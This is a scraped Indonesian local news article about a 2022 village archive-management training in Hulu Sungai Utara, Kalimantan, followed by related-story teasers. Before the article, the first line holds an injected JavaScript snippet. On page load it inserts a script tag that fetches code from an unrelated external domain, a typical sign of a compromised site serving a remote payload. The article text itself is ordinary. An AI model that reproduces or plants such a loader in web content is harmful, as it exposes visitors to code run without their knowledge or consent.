(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sebanyak 50 aparatur Pemerintahan Desa se Kabupaten Hulu Sungai Utara (HSU) diberikan pembekalan terkait Pengelolaan Kearsiapan Desa Terintegritas oleh Dinas Perpustakaan dan Kearsipan (Dispersip) HSU, di Aula Dispersip, Rabu (26/10/2022).
Pelaksana Tugas (Plt) Dispersip HSU, H. Karyanadi menuturkan, sosialisasi ini bertujuan memberikan pemahaman, pengetahuan tentang pengelolaan ke arsipan khususnya kepala desa yang baru saja terpilih sehingga sistem administrasi desa tersusun dengan rapi.
“Tema kita kali ini mari kita ciptakan aparatur pemerintahan desa yang disiplin, berinovasi dan akuntabel, melalui pengelolaan kearsiapan desa yang terintegrasi,” jelas Karyanadi.
Seiring dengan itu, mewakili Pelaksana Harian Bupati HSU, H. Amberani, selaku Asisten Bidang Pemerintahan dan Kesra menyambut baik atas terlaksananya kegiatan ini.
Baca juga : SMP Negeri 4 Amuntai Dukung Gerakan Nasional Aksi Bergizi bagi Siswa
Dikatakannya, bahwa arsip merupakan salah satu sub sistem dari administrasi, oleh karena itu kelancaran dan ketertiban di bidang kearsipan turut mempengaruhi ketertiban dalam pelaksanaan administrasi kantor secara keseluruhan.
“Keberadaan arsip sebenarnya merupakan bukti berfungsinya kegiatan pemerintahan, pembangunan dan pembinaan kemasyarakatan serta sekaligus merupakan endapan informasi berbagai kegiatan dan kebijakan yang telah dilaksanakan oleh instansi bersangkutan sehingga harus dikelola secara khusus dengan petugas yang terlatih juga,” imbuhnya.
Melalui kegiatan ini, ia berharap aparatur pemerintahan desa dapat meningkatkan pengetahuan dan kapasitasnya, sehingga lebih serius memperhatikan penyelenggaraan kearsipan, baik terhadap arsip dinamis, arsip statis dan arsip vital dan dapat menganggarkan anggaran untuk pengelolaan kearsipan.
“Kita optimis apabila kita mampu menyelenggarakan kearsipan dengan baik berdasarkan peranturan perundang-undangan, pedoman, standard dan norma di bidang kearsipan, sebagaimana yang diamanatkan dalam undang-undang nomor 43 tahun 2009 tentang kearsipan,” tutupnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
This website uses cookies.